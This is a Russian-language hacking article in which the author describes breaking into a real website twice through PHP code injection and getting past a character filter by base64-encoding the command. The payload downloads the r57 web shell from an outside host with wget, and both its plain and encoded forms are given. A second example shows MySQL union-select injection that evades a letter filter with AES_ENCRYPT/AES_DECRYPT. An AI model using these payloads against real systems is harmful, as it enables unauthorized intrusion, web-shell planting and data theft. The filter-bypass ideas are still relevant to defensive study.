Иногда мы видим явную уязвимость на сайте, но не можем ее использовать должным образом, потому что нам портят жизнь разные мелочи, такие как какие-либо ограничения. Они существенно урезают наши действия, иногда так, что кажеться, что что-либо сделать просто нереально, но ведь все мы знаем что нет идеально защищенных систем. Меня наверное закидают камнями, так как хотел сказать, что статья для новичков, но все таки не буду этого писать, так как до недавнего времени не знал сам об этом (потому что просто сам не сталкивался с таким), а вот как раз сейчас столкнулся, и решил написать. Приведу я в этой статье только 2 примера, и я думаю что их хватит для того чтобы в общем понять суть вопроса. История первая: Помню как-то пол года назад я взломал один сайтец. Он был очень тупо написан, и там была php injection, в переменной БЕЗ КАКОЙ-ЛИБО ФИЛЬТРАЦИИ! То есть в нужное место я подставлял что то типа system('ls') или system('wget http://rst.void.ru/download/r57shell.txt') ну и т.д. То есть суть в том, что запрос никак не фильтровался. Так вот через эти пол года они все таки заметили, что их взломали, и "залатали" сайт.... так залатали, что в течении 30 мин я получил опять web-shell Дело в том, что php-injection они закрыли только в одной переменной! (как раз в той, которую я использовал при первом взломе). В остальных переменных, php inj работало так же, только меня сначала очень огорчил тот факт, что ВСЕ переменные фильтровались на спецсимволы... То есть в строку запроса я мог вписать только лишь символы ( ) , _ Но и этого мне хватило. запрос system(ls) - то есть без ковычек - работал нормально, только вот ничего мне не давал. мне нужен был запрос system('wget http://rst.void.ru/download/r57shell.txt') но в этом запросе есть кавычки, слэши, двоеточия, точки и т.д. что не пропускаеться. Вобщем решение в данной ситуации одно - кодирование запроса. И в этом нам поможет base64 - так как его код приемущественно буквенно-циферный. Итак, закодируем строку "wget http://rst.void.ru/download/r57shell.txt" (без ковычек) Для этого используем php код <? echo base64_encode("wget http://rst.void.ru/download/r57shell.txt"); ?> в итоге получили код d2dldCBodHRwOi8vcnN0LnZvaWQucnUvZG93bmxvYWQvcjU3c2hlbGwudHh0 ОБРАТИТЕ ВНИМАНИЕ! что код не должен содержать символов + или = составим запрос закачивающий шелл на сайт system(base64_decode(d2dldCBodHRwOi8vcnN0LnZvaWQucnUvZG93bmxvYWQvcjU3c2hlbGwudHh0)) вот собственно и все. По тому же принципу можно организовать любое другое действие. История вторая: Намного короче первой. В принцыпе все то же самое. Это было на конкурсе хакер.ру Ситуация была такой, что была mysql injection но самое обидное опять таки было то что в названиях полей нельзя было использовать буквы. Но и это достаточно легко обошлось используя тот же метод шифровки. Например: AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71) то есть строка union select 1,2,3,4,5,6,7,8,9,10,11/* - нормально работает union select 1,2,3,4,5,6,test или 'test',8,9,10,11/* - не работает union select 1,2,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),4,5,6,7,8,9,10,11/* - нормально работает Вот собственно хорошие два примера о том, как можно обходить некоторые ограничения за счет шифрования запросов.